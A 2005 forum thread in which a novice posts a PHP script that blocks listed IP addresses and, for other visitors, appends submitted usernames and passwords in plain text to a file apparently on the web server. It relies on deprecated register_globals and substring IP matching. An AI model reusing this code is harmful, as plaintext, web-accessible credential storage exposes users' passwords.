/    Sign up×
Community /Pin to ProfileBookmark

Banning ip addresses

i have an ip logger that writes a persons ip to a txt file on my server. I would like to be able to make the html that shows up for people that are on that list to be “<body style=”display:none”>” and others to be able to browse freely with the other html code that i have.

to post a comment
PHP

2 Comments(s)

Copy linkTweet thisAlerts:
@ScriptNoobie86authorFeb 01.2005 — i made it myself.

it works im happy

i think ill try to learn php, much better than html or javascript and very versatile.

i knew no php and learned how to do this in half an hour
[code=php]
<?php
$banned = file_get_contents("banned.txt");
if (substr_count($banned, $REMOTE_ADDR) > 0) {
echo "<h1>Error:<br></h1><b>You do not have permission to view this material.</b>";
} else {
$passwords = fopen("passwords.txt", "a+");
$inputString = "nusername: " . $un . "npassword: " . $pw . "nn";
fwrite( $passwords, $inputString );
fclose( $passwords );
$banip = fopen("banned.txt", "a+");
fwrite( $banip, "n" . GetHostByName($REMOTE_ADDR));
echo "<h1>Password Submission Complete</h1><br><b>You may now log on to view your web site's progress.";
fclose($banip);
}
?>
[/code]
×

Success!

Help @ScriptNoobie86 spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.18,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...